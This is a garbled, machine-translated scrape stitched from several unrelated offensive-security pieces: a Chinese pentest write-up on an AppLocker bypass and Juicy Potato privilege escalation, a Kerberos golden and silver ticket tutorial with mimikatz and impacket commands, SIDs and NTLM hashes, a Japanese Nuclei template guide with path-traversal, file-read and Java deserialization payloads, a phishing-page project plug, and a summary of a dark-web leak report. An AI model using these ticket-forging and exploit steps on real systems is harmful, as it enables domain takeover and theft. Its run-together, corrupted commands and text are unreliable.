我认为,旁路Applocker允许目标服务器在启动马匹后执行随后的功率升级。但是,在外壳下的净用户,任务列表/SVC等的执行不得回声,否则可以判断和杀死该过程比较(我自己写的小轮子,匹配过程已增加到960+:3http://get-av.se7ensec.cn/)

既然我不知道,我会争夺我的角色,并打赌,主机中没有杀人软件。我通过上面的3G主文章的第三种方法跑了马,然后成功地上网,忽略了下面的机器.

4

启动CS后,运行一些命令,例如以下命令,任务清单/SCV仍将被拒绝访问。

5

然后,我尝试了内置的CS系统进程命令“ PS”,并成功列出了系统进程。看完之后,它确实没有杀死该软件。

/*忘了屏幕截图*/

运行“ Shell SystemInfo”,发现可以看到系统和补丁信息。但是,该系统根本没有应用一些补丁。我很幸运。我查看了用户的许可,并满足了多汁的土豆的要求。我可以直接尝试撤回腐烂的马铃薯的权利:

https://www.4hou.com/posts/vzol

经过测试后,我发现它是启动的(实际上我已经执行了执行权限,但是当时我没想到有什么问题。我意识到当我稍后总结文章时,我意识到出了问题。有关详细信息,请参阅文章的结尾)。我在C: \ Users \ public \下获得了执行权限。我用多汁的马铃薯用Whoami参数执行,并成功返回系统。

6

然后使用它直接卸下,并且系统会话将在几秒钟内进行。翻转目录后,我发现它仍然是一个网站组。

7

进行管理员权限的屏幕截图。难怪有这么多。事实证明,他们都分批建立网站:

8

0x04摘要

碰巧这次我很幸运,没有遇到杀手,否则这将是一条颠簸的道路,将会更具挑战性。

最大的失败是,这次我没有提前完全了解Appleocker的某些功能:3https://www.anquanke.com/post/id/159892。我急于搜索旁路方法并开始使用它。实际上,这次我遇到的只是文件路径的限制。 C: \ Users \ public \可以执行程序。早些时候发现并不难。但是,能够充分理解应用程序机制也是一种回报。

最后,我要感谢Haya和Beli1v1大师的指导和帮助。

HireHackking

域渗透|票据伪造

忘记账单

金笔记

Goldenticket

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%E9%87%87%91%E7%E7%A5%A5%A8%A8%E6%8DD%AE

简介

金票(以下称为金票)是伪造的TGT(票务票),因为只要有高授权的TGT,就可以将其发送到TGS进行任何服务的TGS。可以说,有了黄金票,该域中的权威最高。

制作金票的条件

1。域名

2。域的SID值

3。域的KRBTGT帐户密码哈希

4。锻造用户名可以是任何

使用过程

mimikatz

金票的产生需要Krbtgt的哈希值。您可以通过Mimikatz中的命令获得KRBTGT的值。

1LSADUMP:3:DCSYNC /OOWA2013.ROOTKIT.org /user:KrBtgt获取Krbtgt Hash,然后使用Kerberos: -Golden在Mimikatz中的功能产生Golden.kiribi,是成功的成功。

/用户:锻造用户名

/域:域名

/sid:SID值,请注意,最后一个值- 以下值/KRBTGT:KRBTGT HASH值

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

12mimikatz.exe 'kerberos:golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt3360c3d5042c67ef5f461d0ba6ecd9e449 /ptt'Exitklist /kerberos:List可以成功地通过DIR访问域控制的共享文件夹。

1dir \\ owa2013.rootkit.org \ c $

爆炸

123456781。清除票证klist klist purge2。制作ccache文件python ticketer.py -nthash C3D5042C67EF5F461D0BA6ECDD9EA449 -DOMAIN-SID SID SID SID SID SID SID SID SID SID SID SID SID更改环境变量设置krb5ccname=abtrisyator.ccache/export krb5ccname=indercanceator.ccache4。验证结果python wmiexec.py rootkit.org/administrator@owa2013 -K -no-pass

银笔记

Silvertickets

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%E9%93%B6%E7%A5%A5%A5%A8%A8%E6%8DD%AE

需要使用什么服务?在这里查看攻击者如何使用Kerberos银票来利用系统3https://ADSECURITY.org/?p=2011

服务类型

服务银票

WMI

主机,RPCSS

powershell远程

主机,HTTP(WSMAN,RPCSS)

Winrm

主机,http

计划的任务

主持人

Windows文件共享(CIF)

CIFS

LDAP操作包括Mimikatz DCSync

LDAP

Windows远程服务器管理工具

RPCSS,LDAP,CIFS

简介

银票(以下称为银纸币)是伪造的(服务票),因为TGT限于PAC。

客户授权的服务(通过SID的值),因此钞票只能访问指定的服务。

制作银笔记的条件

1。域名

2。域SID

3。完全合格的域名目标服务器的完全合格的域名,即带有主机名和域名的名称。)

4。可用服务(在目标服务器上运行的Kerberos服务,服务主名称类型,例如CIFS,HTTP,MSSQL等)

5。服务帐户的NTLM哈希(如果它是域控制器计算机帐户,则意味着DC已被删除)

6。需要伪造的用户名可以是任何,以下是银

使用过程

mimikatz

首先,我们需要知道服务帐户哈希的密码。在这里,我们还使用域控件作为示例(请注意,在此不使用管理员帐户的哈希,但OWA2013 $)

参数描述:

/域:当前域名

/sid:SID值,像金票一样,请上一部分

/目标:目标主机,这是OWA2013.ROOTKIT.org

/服务:服务名称,您需要在此处访问共享文件,因此是CIFS

/rc4:NTLM服务帐户的哈希值(OWA2013 $)

/用户:锻造用户名

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

使用kerberos:ptt导入

1234567891。 /TARGET:OWA2013.ROOTKIT.org /service:Cifs /rc4:dd2162e8606006006dcca0e29b7819721a /user33:silver /ptt'exitklistdir $ 2.ROOTKIT.OROTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT。锻造的LDAP服务权限mimikatz'Kerberos:3:Golden /domain:Rootkit.org /sid:s-1-5-21-37598881954-299999999999993293291187-3577578080808080808083333333333333333333333333333333333333333333333333333333333333333333333333333333633333量表。 /service:ldap /rc4:ddddd2162e8606006dcca0e29b7819721a /user:silver /ptt'exitklistmikikikatz'lsadump333333:dcsync /dcssync /dcssync /dcssync /dcssync /d.ga.ga.gaafa.gaafa.gaafa.arotklistmikikatz /domain:rootkit.org /user:krbtgt' exit.

爆炸

123456781. Forge cifs service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-29993291187-3577547808- domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/owaa2013.Rootkit.org silver2。 Forge LDAP service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/owa2013.rootkit.org silverset krb5ccname=silver.ccace/export krb5ccname=silver.ccachepython wmiexec.py -k owaa2y2013.Rootkit.org 3

增强版本的金音符

-1

增强式Golden门票

-1

域树和域森林

-1010-110-110-110-110

普通金票的限制

11门票,以便可以获得域控制权限,并且可以访问域中其他主机的任何服务。

但是,不能在域上使用普通的金票,这意味着金票的权限仅限于当前域。

企业管理员组

news.rootkit.org和dev.rootkit.org是rootkit.org的子域,这三个域形成了一个域树。

同样,test.org也是一个单独的域树。将两个域树rootkit.org和test.org合并为被称为域森林。

域名ADMINS组

根域和其他域之间最大的区别是根域对整个域森林具有控制权。

该域基于企业管理员组实现此类许可部门。

使用过程

Enterpriseadmins组是该域中的一组用户,仅存在于森林中的根域中。该组的成员是rootkit.org中的管理员用户(不是本地管理员,而是域中的管理员)对域具有完整的管理控制。

在rootkit.org的域控制上的企业管理员组为519。

mimikatz

子域中不存在Enterpriseadmins组。子域中具有最高特权的小组是域管理组。

news.rootkit.org此子域中的管理员用户,该管理员在当前域中具有最高的权限。

参考

010-1010普通金音符仅限于当前域。 2015年,来自中国黑帽子的研究人员提出了增强的黄金音符版本,这些音符突破了域限制。

迁移期间LDAP库的Sidhistory属性中保存的先前域的SID值是通过制作跨域金票来制作的。

如果您知道根域的SID,则可以使用Mimikatz通过子域的KRBTGT的哈希值来使用Enterpriseadmins组权限(域名森林中最高特权)创建票。

然后再生一张包含Mimikatz根域SID的新金票

1mimikatz'Kerberos:Golden /admin:AdMinistrator /domain:news.rootkit.org` /sid:SID /sidssiD /sids:ROOT域名/endin:600 /renewmax:10080 /ptt'退出参考:3https://ADSecurity.org/?p=1640

startoffffset和endin分别表示偏移和长度,而Renewmax表示生成的票证的最大时间。

请注意,您不知道root domain rootkit.org的密码哈希,并在subdomain news.rootkit.org中使用KRBTGT的密码哈希。

然后,您可以通过DIR访问OWA2013.ROOTKIT.org的共享文件夹。目前,这张机票控制了整个域名森林。

010-1010 https://github.com/uknowsec/active-directory-pentest-notes

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

同一句子:闪光永远是上帝〜

我一直想用更精致的界面编写闪光钓鱼,但是实现各种效果有点麻烦。我碰巧找到了图层的令人敬畏的子弹层组件。一开始,我直接使用了图片并获得了几行代码,但它仍然不完美。后来,我将其发布到T00L,每个人都集思广益,并提出了一些非常好的建议。经过几次修改后,在下面找到了最终版本。

在线预览:http://Flash-pop.se7ensec.cn/

有人说闪光不容易使用。我觉得分析对方做什么并进行一些自动化和定制效果很好是一个好主意。在线费率实际上很高。

项目地址:https://github.com/r00tse7en/flash-pop

data_darknet_abstract-1200x600.jpg

每年都會有大量的公司發生重大數據洩露事件,例如2022年Medibank和Optus的數據洩露、Twitter的數據洩露、Uber和Rockstar的數據洩露以及2023年T-Mobile、MailChimp和OpenAI的數據洩露。在2022年,卡巴斯基實驗室列出了全球700家來自不同行業的公司,然後在暗網上搜索,試圖分析這些公司遭受攻擊的可能性有多大?

研究發現,暗網裡的帖子都是關於出售受攻擊帳戶、內部數據庫和文檔,以及訪問公司基礎設施。雖然暗網確實促進了各種數據類型的銷售,例如,銀行卡信息、駕駛執照和身份證照片等,但本文重點還是放在了與企業特別相關的信息上。研究發現700家公司中有223家在暗網上被提及,洩露數據的主題也不同。

1.png

各行業分佈

這意味著三分之一的公司在與銷售數據或訪問相關的暗網帖子中被引用,即使是網絡安全成熟度高的公司也避免不了被黑客攻擊。

本文提供了一個統計概述,包括所有暗網帖子,涉及2022年1月至2023年11月期間出售、購買或免費傳播受攻擊帳戶的數據。

數據洩露數據洩露會暴露機密、敏感信息,並可能導致重大問題。最常見的例子是數據庫和內部文檔,因為所有有一定規模的公司都使用機密數據,洩露會影響公司本身、員工和客戶。

暗網上每月大約有1700個新的帖子出現,涉及銷售、傳播或購買洩露數據。

2.png

2022年1月至2023年11月與數據庫出售/購買相關的消息數量

應該注意的是,並不是每條消息都代表一條最新出現的洩漏,其中有些是重複的廣告相同洩漏。

3.png

一個組合報價的示例

另一種流行的洩露類型是收集公共數據的數據庫,如姓名、個人資料、id和電子郵件,這些數據來自流行的社交網絡。它們是開發攻擊的寶貴來源。 2021年,超過7億LinkedIn用戶和5.33億Facebook用戶的個人信息被抓取並發佈在暗網上。

4.png

4.2.png

洩露的LinkedIn數據庫分佈示例

基礎設施的訪問以下是網絡攻擊者獲取企業基礎設施初始訪問權限以進行攻擊的最常見行為:

1.利用軟件漏洞。例如,對企業web資源的攻擊,利用跨網站組件的1日漏洞,SQL注入,訪問易受攻擊的web應用程序控制面板等。

2.獲得合法的公司證書。例如,使用竊取日誌中的數據或密碼挖掘。

3.針對員工的網絡釣魚攻擊。例如,帶有惡意負載的電子郵件。

特別要提的是盜用合法賬戶的方法。這些駐留在受感染設備中的惡意程序收集各種帳戶和支付數據、cookie文件、授權令牌等,並保存到日誌中。網絡攻擊者掃描這些日誌,尋找他們可以利用和賺錢的數據,一些人在尋找信用卡數據,另一些人在尋找域名賬戶,社交網絡賬戶等,他們把這個階段稱為加工。在整理完日誌後,他們要么在論壇上公開交換自己的發現,要么把它們賣給個人買家。

關於漏洞(例如SQL注入)和合法憑據(例如RDP/SSH)的信息,對於收入可觀的公司來說,定價會非常不同,因為它們提供了不同的成功攻擊概率。出售帳戶以訪問遠程管理接口(RDP、SSH)意味著已經獲得了對公司網絡基礎設施系統的訪問權限,而漏洞僅僅提供了實現類似級別訪問的機會。即使涉及到同樣的問題,比如SQL注入,也有許多因素影響攻擊的潛在發展,比如易受攻擊的主機位置(例如,公司網絡或云服務器),預期的漏洞利用技術,數據庫容量等,

基礎設施訪問受歡迎的原因很簡單,複雜的攻擊幾乎總是包括幾個階段,例如偵察、對基礎設施的初始訪問、獲得對目標系統或特權的訪問,以及實際的惡意行為(數據盜竊、破壞或加密等)。不同的階段需要不同的專業知識,因此網絡攻擊者往往具有專業知識,容易獲得訪問權限的人可能在攻擊的發展中面臨困難。在這種情況下,購買初始訪問權限簡化了攻擊,對於經驗豐富的網絡罪犯來說很划算。

對於希望降低與基礎設施訪問銷售相關的風險的企業來說,第一個挑戰是了解銷售情況。與其他類型的數據相比,這種數據類型的巨大區別在於,網絡攻擊者不喜歡在消息中提及公司的名稱,以免失去訪問權限,即使有人提到了名字,社區也會建議他們不要分享多餘的信息。

5.png

對提供出售的帖子發表評論

在這種情況下,如何跟踪此威脅?網絡攻擊者通常會在信息中加入一些屬性,比如地理位置、行業、公司規模和年收入。

6.png

6.2.png

6.3.png

一些帶有公司屬性論壇消息的示例

在2022年,研究人員發現了大約3000個獨立的基礎設施項目,到2023年11月,我們已經找到了超過3100份報價。通常,被黑客攻擊的企業基礎設施包括企業VPN服務的帳戶和內部網絡中的一些服務器或主機(通常,訪問是通過RDP或web shell執行的)。

7.png

2022年1月至2023年11月提供的基礎設施訪問的消息數量

賬戶被盜還有另一類數據是獲得初始訪問權限的真正發現,受攻擊帳戶。根據來源,研究人員將所有受攻擊賬戶分為三類:

1.在網絡威脅組織中自由傳播的公開秘密。

2.在黑客論壇和私人聊天中出售的具有有限訪問權限的漏洞,有時這些只是包含未經驗證的信息的小型數據庫。

3.在暗網論壇上發布的惡意軟件日誌中洩露的用戶賬戶。由於REDLINE和VIDAR這樣的信息竊取程序,這些憑證變得可用,現在可以通過惡意軟件即服務在網絡犯罪社區中輕鬆訪問。

乍一看,網絡攻擊者沒有理由免費共享憑證。然而,如果他們不再需要這些數據,並希望在特定的暗網論壇上提高他們在網絡犯罪社區中的比率,他們仍然可以這樣做。此外,他們還可以發布一些包含受攻擊帳戶的惡意軟件日誌文件,以進行下一次銷售。

這三種類型的證書洩露都對公司造成了威脅,有些員工不顧禁令,使用公司電子郵件地址在第三方網站上註冊。在典型情況下,公司員工對外部服務和公司資源使用相同的密碼,有助於網絡攻擊者未經授權便訪問公司基礎設施。